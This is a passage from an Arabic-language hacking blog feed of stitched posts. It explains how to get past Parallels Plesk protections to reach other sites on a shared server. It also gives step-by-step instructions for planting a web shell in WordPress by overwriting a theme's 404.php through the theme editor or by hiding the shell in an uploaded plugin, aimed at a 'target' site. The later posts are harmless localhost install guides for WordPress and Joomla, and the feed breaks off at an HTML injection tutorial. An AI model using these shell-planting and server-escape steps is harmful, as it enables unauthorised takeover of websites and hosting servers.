عليكم</div> <div style="text-align: right;"> ازاى الحال؟</div> <div style="text-align: right;"> النهاردة يا رجالة هنشرح ازاى نتخطى حماية موجودة على السيرفرات اللى بتكون مركبة لوحة <span style="color: red;">Parallels Plesk</span> على السيرفر</div> <div style="text-align: right;"> اللوحة دى شغالة على جميع الانظمة ولكن فى اغلب الاوقات بتكون على سيرفرات الويندوز</div> <div style="text-align: right;"> لكن شرحنا النهاردة هيكون على سيرفر لينكس ومش ويندوز</div> <div style="text-align: right;"> تعريف بسيط للوحة هنشرحه تحت مع الاساسيات</div> <div style="text-align: right;"> دلوقتى لما بنيجى نعمل اختصار للجذر <span style="color: red;">/</span> او حتى اننا نحاول نعمل اختصار لكونفج موقع معين مثلا</div> <div style="text-align: right;"> بيطلع لنا حماية على الملف المختصر مفاداه او محتواها بيكون على الشكل التالى تقريبا</div> <div style="text-align: right;"> <span style="color: red;">No Input File Specified On Server</span></div> <div style="text-align: right;"> بمعنى <span style="color: red;">لم يتم تحديد ملف الادخال</span></div> <div style="text-align: right;"> طيب الحماية دى هنشوفها فى درس النهاردة ونتخطاها بكل سهولة بكذا طريقة</div> <div style="text-align: right;"> المسار الافتراضى على السيرفرات اللى مركبة اللوحة دى بيكون على الشكل التالى</div> <div style="text-align: right;"> <span style="color: red;">/var/www/vhosts/domain.tld/</span></div> <div style="text-align: right;"> مجلد <span style="color: red;">vhosts</span></div> <div style="text-align: right;"> بيكون جواه الدومينات كلها يعنى المواقع كلها وانت لما بتخش على اى موقع</div> <div style="text-align: right;"> اكيد لازم يطلع ليك اى حماية</div> <div style="text-align: right;"> <span style="color: red;">Forbidden 403</span></div> <div style="text-align: right;"> بسبب التصاريح طبعا زى ما بيحصل معانا فى سيرفرات اللى مركبة <span style="color: red;">cPanel</span> عشان نتخطى المشكلة دى</div> <div style="text-align: right;"> لازم نحط مجلد الرئيسى للموقع اللى هو بديل "<span style="color: red;">public_html</span>" يا رجالة</div> <div style="text-align: right;"> هيبقى المسار بتاعنا على الشكل التالى</div> <div style="text-align: right;"> <span style="color: red;">/var/www/vhosts/domain.tld/httpdocs/</span></div> <div style="text-align: right;"> بحيث ان مجلد <span style="color: red;">httpdocs</span> هو مجلد الرئيسية لليوزر اللى هنخش عليه</div> <div style="text-align: right;"> طيب حلو اوى لحد كده يا رجالة</div> <div style="text-align: right;"> جميل دلوقت بقى نشرح بعض الاساسيات عشان كل حاجة تبقى واضحة بإذن الله</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">شل</span> "<span style="color: red;">Shell</span>" ؟</div> <div style="text-align: right;"> هو ملف مكتوب بلغة <span style="color: red;">PHP</span> ويمكن كتابته بـ لغات مختلفة تانية زى <span style="color: red;">Perl, Python, Bash</span></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">وظيفة الشل</span> ؟</div> <div style="text-align: right;"> هو اداة مساعدة ليك فى تنفيذ اوامر على السيرفر, نقدر نقول عليه<span style="color: red;"> Command Interpreter </span>لتنفيذ اوامرك من عليه وفيه<span style="color: red;"> File Manager </span>يمكنك من التنقل داخل ملفات ومجلدات الموقع</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">سيرفر</span> "<span style="color: red;">Server</span>" ؟</div> <div style="text-align: right;"> هو خادم, جهاز كمبيوتر بيتم تثبيت عليه نظام تشغيل لينكس او ويندوز بيكون متصل بالانترنت بشكل مستمر, امكانيات الهاردوير عالية جدا ومخصصة للعمل كـ سيرفر</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">مستخدم</span> "<span style="color: red;">User</span>" ؟</div> <div style="text-align: right;"> هو مدير الموقع, هذه الصلاحية تسمح لك بالتحكم الكامل واستخدام موارد النظام كـ تعديل , مسح , انشاء اى ملف او مجلد ولكن ضمن مجال معين</div> <div style="text-align: right;"> او مساحة مخصصة من خلال مدير السيرفر (<span style="color: red;">Root</span>) وهذه المساحة تكون مستأجرة من خلال مدير السيرفر</div> <div style="text-align: right;"> ايضا تعطيك الحق فى التحكم الكامل على الموقع اللى انت رافع عليه الشل ولا يمكنك التنقل داخل السيرفر الا فى بعض الحالات</div> <div style="text-align: right;"> التى يمكن تخطيها, اسم المستخدم متغير وايضا رقم المجموعة المنتمى اليها كمثال</div> <div style="text-align: right;"> <span style="color: red;">uid=1000(elsyad) gid=1000(elsyad) groups=1000(elsyad)</span></div> <div style="text-align: right;"> هنا اسم المستخدم هو <span style="color: red;">elsyad</span> وهو متغير وليس ثابت والارقام متغيرة ايضا وليست ثابتة</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">لوحة تحكم بليسك</span> "<span style="color: red;">Parallels Plesk Panel</span>" ؟</div> <div style="text-align: right;"> هى لوحة تحكم لاستضافة الويب, اول اصدار لها كان فى عام <span style="color: red;">2003</span> تحت اسم <span style="color: red;">Plesk 6</span> ولها اصدارات عديدة الان ومتوفرة ومتاحة للجميع</div> <div style="text-align: right;"> هذه اللوحة مخصصة لادارة السيرفرات , والمواقع , والحسابات والى ما اخره</div> <div style="text-align: right;"> بليسك تسمح لمدير السيرفر تثبيت مواقع جديدة , ريسلر , حسابات ايميل , وكذلك ادارتها</div> <div style="text-align: right;"> البورت الافتراضى للوحة على البروتوكول <span style="color: red;">HTTP</span> هو</div> <div style="text-align: right;"> <span style="color: red;">8880</span></div> <div style="text-align: right;"> اما البورت الافتراضى للوحة على البروتوكول <span style="color: red;">HTTPS</span> هو</div> <div style="text-align: right;"> <span style="color: red;">8443</span></div> <div style="text-align: right;"> تدعم توزيعات كثيرة على انظمة لينكس مثل</div> <div style="text-align: right;"> <span style="color: red;">Fedora, CentOS, Red Hat, Debian, Ubuntu, etc...</span></div> <div style="text-align: right;"> تدعم ايضا ويندوز مثل</div> <div style="text-align: right;"> <span style="color: red;">Windows Server 2003, Windows Server 2008, Windows Server 2012</span></div> <div style="text-align: right;"> تدعم أشهر قواعد بيانات مثل</div> <div style="text-align: right;"> <span style="color: red;">MySQL, PostgreSQL, Microsoft SQL Server</span></div> <div style="text-align: right;"> يوجد لـ اللوحة اضافات متميزة تسمى الان بـ <span style="color: red;">Plesk Extensions</span> مثل</div> <div style="text-align: right;"> <span style="color: red;">Docker Support, Git Support, Kaspersky Antivirus, WordPress Toolkit, Multi Server, Plesk Security Advisor, etc...</span></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> جميل نيجى بقى للشرح الفديو التوضيحى لعملية التخطى للسيرفر اللى كان معايا ده</div> <div style="text-align: right;"> زى ماقولنا احنا هنعرف طريقتين نتخطى بيهم الحماية دى</div> <div style="text-align: right;"> لتحميل الشرح الفديو التوضيحى على الرابط التالى</div> <div style="text-align: right;"> <a href="https://up.top4top.net/downloadf-449ai01a1-rar.html" target="_blank">https://up.top4top.net/downloadf-449ai01a1-rar.html</a><br /> او على الرابط التالى برضو</div> <div style="text-align: right;"> <a href="http://www.up-00.com/?R2bu" target="_blank">http://www.up-00.com/?R2bu</a><br /> اى استفسار او توضيح للدرس اهلا بيه واحنا فى الخدمة</div> <div style="text-align: right;"> <span style="color: red; font-size: large;">الصياد /.</span></div> </div> 0شرح رفع شل في سكربت ووردبريس في جميع الاصدارات بكل الطرقhttps://web0sec.blogspot.com/2017/09/how-to-upload-shell-in-wordpress-all-versions-via-all-methods.htmlwebappwebapp-hacknoreply@blogger.com (ElSyad)Thu, 7 Sep 2017 15:36:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-6140324773699273234<div dir="rtl" style="text-align: right;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwgLqeqsBgQZ13dEjNG0oPdKkHEk-qAYZpHdADx0FPOhos5FL18yTgaAPtlb_yEl5Nr0HXO3Rxb4Dn2W5LTxcXzObm3lwbpI0mP4aXi4drGFPqNnMloZU3DG47623A2glsuoxT1v9dTzco/s1600/wordpress-logo-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Wordpress" border="0" data-original-height="534" data-original-width="1600" height="106" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwgLqeqsBgQZ13dEjNG0oPdKkHEk-qAYZpHdADx0FPOhos5FL18yTgaAPtlb_yEl5Nr0HXO3Rxb4Dn2W5LTxcXzObm3lwbpI0mP4aXi4drGFPqNnMloZU3DG47623A2glsuoxT1v9dTzco/s320/wordpress-logo-1.jpg" title="Wordpress webApp" width="320" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> <div class="separator" style="clear: both; text-align: right;"> السلام عليكم</div> <div class="separator" style="clear: both; text-align: right;"> ازيكم يا رجالة ؟</div> <div class="separator" style="clear: both; text-align: right;"> هنشوف مع بعض ازاى نرفع شل فى سكربت ووردبريس فى كل اصداراته بكل الطرق ان شاء الله</div> <div class="separator" style="clear: both; text-align: right;"> الموضوع سهل جدا بس محتاج لـ تشغيل مخ :)</div> <div class="separator" style="clear: both; text-align: right;"> نبتدى على بركة الله بمعرفة شوية معلومات بسيطة فى الاول</div> <div class="separator" style="clear: both; text-align: right;"> <br /></div> <div class="separator" style="clear: both; text-align: right;"> ووردبريس "Wordpress" ؟</div> <div class="separator" style="clear: both; text-align: right;"> هوسكربت, نظام ادارة محتوى CMS مجانى و مفتوح المصدر مبرمج بلغة PHP يدعم اغلب انواع قواعد البيانات زى Mysql,Mssql وغيرهم سهل التعامل فى الاغلب يتم استخدامه كـ مدونة</div> <div class="separator" style="clear: both; text-align: right;"> <br /></div> <div class="separator" style="clear: both; text-align: right;"> شل "Shell" ؟</div> <div class="separator" style="clear: both; text-align: right;"> هو ملف مبرمج بلغة php ويمكن برمجته بـ لغات مختلفة تانية زى Perl, Python, Bash</div> <div class="separator" style="clear: both; text-align: right;"> <br /></div> <div class="separator" style="clear: both; text-align: right;"> وظيفة الشل ؟</div> <div class="separator" style="clear: both; text-align: right;"> هو اداة مساعدة ليك فى تنفيذ اوامرك على السيرفر, نقدر نقول عليه Command Interpreter لتنفيذ اوامرك من عليه وفيه File Manager يمكنك من التنقل داخل ملفات ومجلدات الموقع</div> <div class="separator" style="clear: both; text-align: right;"> <br /></div> <div class="separator" style="clear: both; text-align: right;"> سيرفر "Server" ؟</div> <div class="separator" style="clear: both; text-align: right;"> هو خادم, جهاز كمبيوتر بيتم تثبيت عليه نظام تشغيل لينكس او ويندوز بيكون متصل بالانترنت بشكل مستمر, امكانيات الهاردوير عالية جدا ومخصصة للعمل كـ سيرفر</div> <div class="separator" style="clear: both; text-align: right;"> <br /></div> <div class="separator" style="clear: both; text-align: right;"> سكربت "Script" ؟</div> <div class="separator" style="clear: both; text-align: right;"> هو نص برمجى مكتوب بلغة برمجة من نوع Scripting Language زى لغة Php, Asp, Perl, Python وغيرهم اغلب استخدامه فى تطوير وتصميم الموقع وليه استخدامات كتيرة على حسب الكود البرمجى</div> <div class="separator" style="clear: both; text-align: right;"> <br /></div> <div class="separator" style="clear: both; text-align: right;"> ملف التكوين "Configuration File" ؟</div> <div class="separator" style="clear: both; text-align: right;"> ملف الكونفج هو ملف الربط بين قواعد البيانات وملفات السكربت لعرضها على المتصفح ويوجد بداخله بيانات قاعدة البيانات</div> <div class="separator" style="clear: both; text-align: right;"> <br /></div> <div class="separator" style="clear: both; text-align: right;"> نرجع لموضوعنا يا رجالة ونشوف ازاى نقدر نرفع شل بكل الطرق الممكنة داخل سكربت ووردبريس وتخطى بعض المشاكل اللى ممكن تقابلنا</div> <div class="separator" style="clear: both; text-align: right;"> اول حاجة لازم يكون معاك بيانات مدير الموقع (Administrator)</div> <div class="separator" style="clear: both; text-align: right;"> بعدين ندخل على ملف الدخول وفى سكربت الووردبريس بيكون اسمه</div> <div class="separator" style="clear: both; text-align: right;"> domain.tld/wordpress/wp-login.php</div> <div class="separator" style="clear: both; text-align: right;"> او ممكن نروح على لوحة السكربت على طول من خلال المجلد التالى</div> <div class="separator" style="clear: both; text-align: right;"> domain.tld/wordpress/wp-admin/</div> <div class="separator" style="clear: both; text-align: right;"> المهم بعد ما نسجل دخول هنبتدى على بركة الله برفع الشل</div> <div class="separator" style="clear: both; text-align: right;"> <br /></div> <div class="separator" style="clear: both; text-align: right;"> اول طريقة من خلال القوالب (Templates) او السمات (Themes)</div> <div class="separator" style="clear: both; text-align: right;"> ودى ممكن نروح على ملف التعديل الخاص بالقالب الافتراضى من خلال الملف التالى</div> <div class="separator" style="clear: both; text-align: right;"> domain.tld/wordpress/wp-admin/theme-editor.php</div> <div class="separator" style="clear: both; text-align: right;"> بعدها نختار اى ملف وليكن ملف الاخطاء واللى هو اسمه</div> <div class="separator" style="clear: both; text-align: right;"> 404.php</div> <div class="separator" style="clear: both; text-align: right;"> دلوقتى نمسح الكود بتاع الملف ونحط كود مركز رفع بتاعنا (Uploader)</div> <div class="separator" style="clear: both; text-align: right;"> وعشان نستعرض الملف بتاعنا هيكون على الشكل التالى</div> <div class="separator" style="clear: both; text-align: right;"> domain.tld/wordpress/wp-content/{template_name}/404.php</div> <div class="separator" style="clear: both; text-align: right;"> طيب هنا يبقى فيه مشكلة واحد يقولى ازاى اعرف اسم القالب الموجود</div> <div class="separator" style="clear: both; text-align: right;"> نخش على ملف التعديل للقوالب اللى قولنا عليه</div> <div class="separator" style="clear: both; text-align: right;"> domain.tld/wordpress/wp-admin/theme-editor.php</div> <div class="separator" style="clear: both; text-align: right;"> وبعد ما نختار ملف الاخطاء مرة تانية هنلاحظ ان الرابط اتغير او فيه متغيرات اضافات على الرابط هيبقى بالشكل التالى</div> <div class="separator" style="clear: both; text-align: right;"> domain.tld/wordpress/wp-admin/theme-editor.php?file=404.php&amp;theme={Template_name}</div> <div class="separator" style="clear: both; text-align: right;"> طبعا مكان Template_name بيكون اسم القالب اللى احنا عدلنا عليه</div> <div class="separator" style="clear: both; text-align: right;"> عشان نستعرضه الملف بتاعنا هنخش على الشكل التالى</div> <div class="separator" style="clear: both; text-align: right;"> domain.tld/wordpress/wp-content/themes/{Template_name}/404.php</div> <div class="separator" style="clear: both; text-align: right;"> وهيظهر معانا ملف الابلود اللى احنا حطينا الكود بتاعه وبعدها نرفع شل عادى</div> <div class="separator" style="clear: both; text-align: right;"> طيب عشان نشوف الطريقة دى شرح فديو حمل الدرس من الرابط التالى</div> <div class="separator" style="clear: both; text-align: right;"> <a href="http://up.top4top.net/downloadf-52l25c1-rar.html" target="_blank">http://up.top4top.net/downloadf-52l25c1-rar.html</a></div> <div class="separator" style="clear: both; text-align: right;"> <br /></div> <div class="separator" style="clear: both; text-align: right;"> تانى طريقة من خلال الاضافات (Plugins)</div> <div class="separator" style="clear: both; text-align: right;"> وهنا احنا هننزل اى اضافة مشهورة او حتى غير مشهورة وندور على اى ملف PHP ونحط كود مركز الرفع جواه</div> <div class="separator" style="clear: both; text-align: right;"> او اننا نحط ملف مركز الرفع نفسه بداخل مجلد الاضافة وبعدين نرفعها ببساطة</div> <div class="separator" style="clear: both; text-align: right;"> ودى عشان نروح على الرفع من خلال الاضافات على الرابط التالى</div> <div class="separator" style="clear: both; text-align: right;"> domain.tld/wordpress/plugin-install.php?tab=upload</div> <div class="separator" style="clear: both; text-align: right;"> وهنا احنا هنشرح طريقتين اول طريقة وهيا تحميل اضافة من موقع ووردبريس وتلغيمها ورفعها على الهدف</div> <div class="separator" style="clear: both; text-align: right;"> وتانى طريقة هيا رفع الملف مباشرة على الموقع الهدف</div> <div class="separator" style="clear: both; text-align: right;"> طيب بالنسبة لاستعراض الملف اذا كنا رفعنا اضافة هيكون من خلال الرابط التالى كمثال</div> <div class="separator" style="clear: both; text-align: right;"> لما ترفع الاضافة</div> <div class="separator" style="clear: both; text-align: right;"> domain.tld/wordpress/wp-admin/plugin-editor.php?file={Plugin_name}</div> <div class="separator" style="clear: both; text-align: right;"> طبعا مكان Plugin_name هو اسم مجلد الاضافة</div> <div class="separator" style="clear: both; text-align: right;"> طيب لو احنا رفعنا الملف مباشرة على طول</div> <div class="separator" style="clear: both; text-align: right;"> الاستعراض بيكون على الشكل التالى</div> <div class="separator" style="clear: both; text-align: right;"> domain.tld/wordpress/wp-content/uploads/{Year}/{Month}/{File_name}</div> <div class="separator" style="clear: both; text-align: right;"> كمثال يعنى</div> <div class="separator" style="clear: both; text-align: right;"> domain.tld/wordpress/wp-content/uploads/2016/02/shell.php</div> <div class="separator" style="clear: both; text-align: right;"> تمام اوى لحد كده يا رجالة</div> <div class="separator" style="clear: both; text-align: right;"> نيجى لمشكلة بتجلنا لو حبينا نرفع الملف مباشرة هيا كذا مشكلة</div> <div class="separator" style="clear: both; text-align: right;"> بس الاغلبية بتكون</div> <div class="separator" style="clear: both; text-align: right;"> رسالة خطأ بيقولك ان الملف اللى حددته مش ملف مضغوط بامتداد .zip</div> <div class="separator" style="clear: both; text-align: right;"> ورسالة تانية بيطلب منك فيها بيانات FTP</div> <div class="separator" style="clear: both; text-align: right;"> طبعا عشان نتخطى المشكلتين دول او اى مشكلة تواجهك فى الرفع</div> <div class="separator" style="clear: both; text-align: right;"> اتجاهلها تماماً وروح استعرض الملف هتلاقيه اترفع بالفعل</div> <div class="separator" style="clear: both; text-align: right;"> لو عاوز تتاكد بنروح على المكتبة (Media Library)</div> <div class="separator" style="clear: both; text-align: right;"> على المسار التالى</div> <div class="separator" style="clear: both; text-align: right;"> domain.tld/wordpress/wp-admin/upload.php</div> <div class="separator" style="clear: both; text-align: right;"> هتلاقى الملف موجود قدامك</div> <div class="separator" style="clear: both; text-align: right;"> دوس عليه عشان يفتح الملف معاك وفى مربع Description</div> <div class="separator" style="clear: both; text-align: right;"> هتلاقى مسار الملف بالكامل اللى وضحته فوق</div> <div class="separator" style="clear: both; text-align: right;"> والطريقة دى يا رجالة انا شارحها فديو هيا كمان</div> <div class="separator" style="clear: both; text-align: right;"> عشان تحمل الدرس بتاع الشرح التانى على الرابط التالى</div> <div class="separator" style="clear: both; text-align: right;"> <a href="http://up.top4top.net/downloadf-521vd11-rar.html" target="_blank">http://up.top4top.net/downloadf-521vd11-rar.html</a></div> <div class="separator" style="clear: both; text-align: right;"> <br /></div> <div class="separator" style="clear: both; text-align: right;"> وممكن من خلال الرفع يا رجالة نحمل ثيم او اضافة ونحقن الشل فى المجلد ونرفع الثيم او الاضافة مش هتفرق يعنى المهم انه هيترفع معاك</div> <div class="separator" style="clear: both; text-align: right;"> وفيه بعض المشاكل اللى قليل تلاقيها فى رفع الووردبريس وده بيكون واحد فاهم بـ امور الحماية</div> <div class="separator" style="clear: both; text-align: right;"> وان شاء الله هنزل شرح مخصوص للتخطى ليها</div> <div class="separator" style="clear: both; text-align: right;"> وبكده يكون احنا خلصنا درس النهاردة وعرفنا ازاى نرفع الشل بتاعنا بكل الطرق وتخطى المشاكل اللى بتقابلنا كمان</div> <div class="separator" style="clear: both; text-align: right;"> اى استفسار او اضافة اهلا بيها</div> <div class="separator" style="clear: both; text-align: right;"> <span style="color: red; font-size: large;">الصياد /.</span></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <br /></div> </div> 0شرح تثبيت سكربت ووردبريس علي السيرفر المحليhttps://web0sec.blogspot.com/2017/09/how-to-install-wordpress-script-on-localhost.htmlarticlesnoreply@blogger.com (ElSyad)Thu, 7 Sep 2017 15:23:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-6040722593036912224<div dir="rtl" style="text-align: right;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnevHjTZ458BrzRGCwJrvFwjW19GvxiAGaklSRrDzcaF0VtsXYuEp_7FO8vVsEX0Eo2OXbil4p7n13E3Vj5y4CTJChMtRqMOWOcrGZIU-JppqecNrPRbiApxSnaRAkdqe8gJ-FLQAJPNeG/s1600/wordpress-logo-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Wordpress" border="0" data-original-height="534" data-original-width="1600" height="106" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnevHjTZ458BrzRGCwJrvFwjW19GvxiAGaklSRrDzcaF0VtsXYuEp_7FO8vVsEX0Eo2OXbil4p7n13E3Vj5y4CTJChMtRqMOWOcrGZIU-JppqecNrPRbiApxSnaRAkdqe8gJ-FLQAJPNeG/s320/wordpress-logo-1.jpg" title="Wordpress Webapp" width="320" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> السلام عليكم</div> <div style="text-align: right;"> ازيكم يا رجالة</div> <div style="text-align: right;"> النهاردة هنشوف مع بعض ازاي نثبت سكربت ووردبريس علي السيرفر المحلي localhost</div> <div style="text-align: right;"> تعريف سكربت الووردبريس ؟</div> <div style="text-align: right;"> هو سكربت مجاني ومفتوح المصدر مبرمج بلغة php ويدعم اغلب انواع قواعد البيانات زي mysql, mssql وغيرهم ويستخدم في الاغلب كـ مدونة</div> <div style="text-align: right;"> جميل اولا محتاجين نسخة من سكربت ووردبريس ويمكن تحميلها من الموقع الرسمي للسكربت علي الرابط التالي</div> <div style="text-align: right;"> <a href="https://wordpress.org/" target="_blank">https://wordpress.org/</a></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> اذا كنت من مستخدمي نظام windows يبقي ممكن تثبت برنامج appserv او برنامج wamp او برنامج xampp لتشغيل الجهاز الشخصي كسيرفر محلي</div> <div style="text-align: right;"> واما اذا كنت من مستخدمي نظام linux يبقي ممكن تثبت الحزمة lamp او xampp لشتغيل الجهاز الشخصي كسيرفر محلي</div> <div style="text-align: right;"> الموقع الرسمي لبرنامج appserv</div> <div style="text-align: right;"> <a href="https://www.appservnetwork.com/en/" target="_blank">https://www.appservnetwork.com/en/</a></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> الموقع الرسمي لبرنامج wamp</div> <div style="text-align: right;"> <a href="http://www.wampserver.com/" target="_blank">http://www.wampserver.com/</a></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> الموقع الرسمي لبرنامج xampp</div> <div style="text-align: right;"> <a href="http://www.apachefriends.org/en/xampp.html" target="_blank">http://www.apachefriends.org/en/xampp.html</a></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> دلوقتي نشوف الفديو التوضيحي للشرح اللي اتكلمنا عليه ... لتحميل الفديو علي الرابط التالي</div> <div style="text-align: right;"> <a href="http://www.up-00.com/?T1Is" target="_blank">http://www.up-00.com/?T1Is</a></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> اى اضافة او توضيح &nbsp;فى الدرس اهلا بيها</div> <div style="text-align: right;"> اى استفسار او طلب توضيح لاى نقطة فى الدرس اتمنى تكون على حساب الاسك بتاعى</div> <div style="text-align: right;"> <a href="https://ask.fm/ElSyad" target="_blank">https://ask.fm/ElSyad</a></div> <div style="text-align: right;"> موفقين ~</div> <div style="text-align: right;"> <span style="color: red; font-size: large;">الصياد /.</span></div> <div style="text-align: right;"> <br /></div> </div> 0شرح تثبيت سكربت جوملا علي السيرفر المحليhttps://web0sec.blogspot.com/2017/09/how-to-install-joomla-script-on-localhost.htmlarticlesnoreply@blogger.com (ElSyad)Thu, 7 Sep 2017 14:47:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-1141468391833616375<div dir="rtl" style="text-align: right;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT9hJcsn8KTPWxmtLxoOY4GyezGUibnYUajdy5DcMkgegCDq_iLKmpStLzEJYtUbyO1FvPGtMv4nQVqUcAVfNJYEPyZFld6wac8L1MVYlypntJcZYRFgDypxCdN2jNj5l0vxbDwlh4mASA/s1600/joomla.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Joomla" border="0" data-original-height="230" data-original-width="540" height="136" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT9hJcsn8KTPWxmtLxoOY4GyezGUibnYUajdy5DcMkgegCDq_iLKmpStLzEJYtUbyO1FvPGtMv4nQVqUcAVfNJYEPyZFld6wac8L1MVYlypntJcZYRFgDypxCdN2jNj5l0vxbDwlh4mASA/s320/joomla.png" title="Joomla Webapp" width="320" /></a></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> السلام عليكم</div> <div style="text-align: right;"> ازيكم يا رجالة</div> <div style="text-align: right;"> النهاردة هنشوف مع بعض ازاى نثبت سكربت جوملا "Joomla" على السيرفر المحلي "localhost" وتشغيله عليه بدون مشاكل ان شاء الله</div> <div style="text-align: right;"> اول حاجة موقع السكربت الرسمى</div> <div style="text-align: right;"> <a href="https://www.joomla.com/" target="_blank">https://www.joomla.com/</a><br /> <br /> طيب تعريف بسيط لسكربت الجوملا</div> <div style="text-align: right;"> جوملا "Joomla" ؟</div> <div style="text-align: right;"> هو سكربت او نظام ادارة محتوى "CMS", مجانى ومفتوح المصدر مبنى على لغة PHP يدعم MySQL, MS SQL, PostgreSQL وله مميزات كتيرة جدا فى الاغلب يتم استخدامه كـ مجلة</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> تانى حاجة موقع الاباتشى ويب سيرفر</div> <div style="text-align: right;"> <a href="https://httpd.apache.org/" target="_blank">https://httpd.apache.org/</a><br /> <br /></div> <div style="text-align: right;"> ممكن تثبت الويب سيرفر من المصدر "Source" بس دى محتاجة شوية خطوات او انك تنزل حزمة او برنامج يكون دامج الاباتشى ويب سيرفر وبرامج اخرى فيه</div> <div style="text-align: right;"> <span style="color: red;">لمستخدمى ويندوز</span> ممكن تستخدم برامج زى WAMP, XAMPP, AppServ</div> <div style="text-align: right;"> ممكن تختار اللى يريحك مفيش مشاكل خالص لو حابب تنزل AppServ من الموقع الرسمى</div> <div style="text-align: right;"> <a href="https://www.appservnetwork.com/en/" target="_blank">https://www.appservnetwork.com/en/</a><br /> <br /></div> <div style="text-align: right;"> اما اذا كنت حابب تختار برنامج XAMPP من الموقع الرسمى</div> <div style="text-align: right;"> <a href="http://www.apachefriends.org/en/xampp.html" target="_blank">http://www.apachefriends.org/en/xampp.html</a><br /> <br /></div> <div style="text-align: right;"> اذا كنت حابب تختار برنامج WAMP من الموقع الرسمى</div> <div style="text-align: right;"> <a href="http://www.wampserver.com/" target="_blank">http://www.wampserver.com/</a><br /> <br /></div> <div style="text-align: right;"> <span style="color: red;">لمستخدمى لينكس</span> ممكن تستخدم برامج زى LAMP, XAMPP</div> <div style="text-align: right;"> اذا كنت حابب تستخدم برنامج XAMPP من الموقع الرسمى</div> <div style="text-align: right;"> <a href="http://www.apachefriends.org/en/xampp.html" target="_blank">http://www.apachefriends.org/en/xampp.html</a><br /> <br /></div> <div style="text-align: right;"> اما اذا كنت حابب تستخدم LAMP ممكن تثبته من خلال الاوامر لانه موجود ضمن المستودعات</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> دلوقتى نيجى للشرح بتاعنا مرة اخرى ... البعض مننا بيحب انه يختبر حماية السكربت او اضافة معينة ومش بيعرف يختبرها هنا هيفيدك السيرفر الشخصى</div> <div style="text-align: right;"> ومع اى سكربت ممكن تقوم بتثبيت اى سكربتات او تشغيل ملفات PHP بكل سهولة عليه او حتى Perl,Python الى ما اخره</div> <div style="text-align: right;"> نيجى لشرحنا احنا الفديو للتحميل على الرابط التالى</div> <div style="text-align: right;"> <a href="http://up.top4top.net/downloadf-260cc3j1-rar.html" target="_blank">http://up.top4top.net/downloadf-260cc3j1-rar.html</a><br /> <br /></div> <div style="text-align: right;"> اى اضافة او استفسار ان شاء الله موجودين</div> <div style="text-align: right;"> موفقين ~</div> <div style="text-align: right;"> <span style="color: red; font-size: large;">الصياد /.</span></div> </div> 0:: شرح اكتشاف و استغلال و حماية الثغرات من نوع - HTML Injection Vulnerability ::https://web0sec.blogspot.com/2016/07/explain-how-to-detect-exploitation-and-prevent-html-injection-vulnerabilities.htmlwebappwebapp-hacknoreply@blogger.com (ElSyad)Sun, 3 Jul 2016 12:37:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-5478777884417237315<div dir="ltr" style="text-align: left;" trbidi="on"> <div dir="rtl" style="text-align: right;"> <span style="color: white;">شرح explain اكتشاف detect استغلال exploit حماية prevent ثغرة vulnerability هتمل html حقن injection</span></div> <div dir="rtl" style="text-align: right;"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZmArv3rx00rERPS4QtcxN4emSB8HgJDYOpzSm32a_Wt0vczlhfO0b5NbHmNZOGSBkeZUBR3bnFEO3jooRKdoZr3QnWELv3T-Tac8FlGxWukr6N3mL1nYXeS4gHEaRxTrTipt0O9AdXBUN/s1600/html.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explain,اكتشاف,detect,استغلال,exploit,حماية,prevent,ثغرة,vulnerability,هتمل,html,حقن,injection" border="0" height="138" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZmArv3rx00rERPS4QtcxN4emSB8HgJDYOpzSm32a_Wt0vczlhfO0b5NbHmNZOGSBkeZUBR3bnFEO3jooRKdoZr3QnWELv3T-Tac8FlGxWukr6N3mL1nYXeS4gHEaRxTrTipt0O9AdXBUN/s320/html.png" title="شرح explain اكتشاف detect استغلال exploit حماية prevent ثغرة vulnerability هتمل html حقن injection" width="320" /></a></div> <div dir="rtl" style="text-align: right;"> <br /></div> <div dir="rtl" style="text-align: right;"> <br /></div> <div dir="rtl" style="text-align: right;"> <span style="font-family: &quot;arial&quot; , &quot;helvetica&quot; , sans-serif;"><b>السلام 